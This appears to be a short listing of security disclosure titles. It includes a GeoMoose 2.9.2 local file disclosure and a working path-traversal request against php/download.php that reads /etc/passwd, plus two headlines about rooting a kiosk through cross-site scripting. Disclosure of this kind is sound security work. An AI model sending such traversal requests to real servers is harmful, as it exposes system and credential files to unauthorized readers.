GeoMoose <= 2.9.2 Local File Disclosure
/php/download.php?id=foo/.&ext=/../../../../../../../etc/passwd
Rooting a NS kiosk through a silly XSS
From XSS to root. Possible, appearantly.